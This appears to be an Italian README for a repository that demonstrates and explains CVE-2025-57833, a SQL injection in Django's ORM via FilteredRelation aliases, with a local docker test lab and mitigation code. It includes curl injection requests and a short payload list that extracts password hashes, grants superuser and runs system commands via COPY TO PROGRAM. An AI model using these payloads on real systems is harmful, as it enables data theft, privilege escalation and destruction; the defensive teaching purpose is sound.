
Abbiamo allestito un ambiente per testare CVE-2025-57833. Questo ambiente è stato creato utilizzando l'AI, quindi è soggetto a modifiche continue.
Questo repository dimostra e spiega la CVE-2025-57833, una vulnerabilità critica di SQL injection nell'ORM di Django che interessa le versioni 4.2 precedenti alla 4.2.24, 5.1 precedenti alla 5.1.12 e 5.2 precedenti alla 5.2.6.
Punteggio CVSS: 9.8 (Critico)
Impatto: SQL Injection che porta all'esecuzione remota di codice (RCE)
Autenticazione richiesta: Nessuna (attacco non autenticato)
Django ORM (Object-Relational Mapping) consente agli sviluppatori di interagire con i database usando codice Python invece di SQL grezzo. Per esempio:
# Instead of raw SQL: SELECT * FROM books WHERE author_id = 1
books = Book.objects.filter(author_id=1)
FilteredRelation è una funzionalità di Django che consente di unire tabelle con condizioni di filtraggio aggiuntive:
# Join books with authors, but only active authors
Book.objects.annotate(
active_author=FilteredRelation('author', condition=Q(author__is_active=True))
).select_related('active_author')
A volte gli sviluppatori hanno bisogno di creare nomi di campo dinamicamente in base all'input dell'utente:
# User wants to search by different criteria
search_field = request.POST.get('field_name') # User input: "title", "author", etc.
# Dynamic field creation using **kwargs
queryset.annotate(**{
search_field: FilteredRelation('some_relation')
})
La vulnerabilità si verifica quando input utente non sanificato viene utilizzato come chiave di dizionario in annotate() o alias() con FilteredRelation. Ecco il processo passo dopo passo:
# This is what vulnerable applications do:
user_input = request.POST.get('search_field') # Attacker controls this
# The vulnerability is here - user input becomes SQL column alias
queryset.annotate(**{
user_input: FilteredRelation("author") # ❌ DANGEROUS
})
Un attaccante invia un input dannoso:
user_input = "malicious_field'; DROP TABLE users; --"
Django genera SQL simile a questo:
SELECT ...
FROM book
LEFT OUTER JOIN author AS malicious_field'; DROP TABLE users; -- ON ...
L'SQL dannoso viene eseguito, con il potenziale di:
Molte applicazioni Django hanno una funzionalità di ricerca in cui gli utenti possono scegliere su quale campo cercare:
# views.py - Common vulnerable pattern
def search_books(request):
search_field = request.POST.get('search_by') # "author", "title", "category"
search_value = request.POST.get('search_value')
# Developer thinks this is safe - IT'S NOT!
books = Book.objects.annotate(**{
f"filtered_{search_field}": FilteredRelation(
search_field,
condition=Q(**{f"{search_field}__name__icontains": search_value})
)
})
return JsonResponse({'books': list(books.values())})
# Attacker sends this POST request:
curl -X POST http://example.com/search/ \
-d "search_by=author'; DROP TABLE auth_user; --" \
-d "search_value=anything"
# NEVER DO THIS - Direct user input as dictionary key
user_field = request.POST.get('field')
queryset.annotate(**{
user_field: FilteredRelation('relation') # SQL Injection!
})
# SAFE - Use whitelist validation
ALLOWED_FIELDS = ['author', 'category', 'publisher']
user_field = request.POST.get('field')
if user_field not in ALLOWED_FIELDS:
raise ValidationError("Invalid field")
queryset.annotate(**{
user_field: FilteredRelation('relation') # Now safe
})
# SAFE - Use static field names
search_type = request.POST.get('search_type')
if search_type == 'author':
queryset.annotate(filtered_author=FilteredRelation('author'))
elif search_type == 'category':
queryset.annotate(filtered_category=FilteredRelation('category'))
-- Extract sensitive data
'; SELECT username, password FROM auth_user; --
-- Modify data
'; UPDATE auth_user SET is_superuser = true WHERE id = 1; --
-- Execute system commands (PostgreSQL with appropriate extensions)
'; COPY (SELECT '') TO PROGRAM 'rm -rf /tmp/*'; --
ALLOWED_FIELDS = ['author', 'title', 'category', 'publisher']
def safe_annotate(queryset, field_name):
if field_name not in ALLOWED_FIELDS:
raise ValidationError(f"Field '{field_name}' not allowed")
return queryset.annotate(**{
field_name: FilteredRelation('relation')
})
# Instead of dynamic field names, use conditional logic
def get_filtered_queryset(search_type):
if search_type == 'author':
return queryset.annotate(result=FilteredRelation('author'))
elif search_type == 'category':
return queryset.annotate(result=FilteredRelation('category'))
else:
raise ValidationError("Invalid search type")
Aggiorna all'ultima versione di Django:
Questo repository include un ambiente di test completo:
# Run the vulnerable Django application
docker-compose up
# Test the vulnerability
curl -X POST http://localhost:8000/api/vulnerable-search/ \
-H "Content-Type: application/json" \
-d '{"search_field": "malicious\"; DROP TABLE IF EXISTS test; --"}'
Per istruzioni dettagliate sui test, vedere document/README.md.
Questo repository è solo a scopo educativo e di sicurezza difensiva. Non utilizzare queste informazioni per attaccare sistemi che non possiedi o di cui non hai il permesso di testare.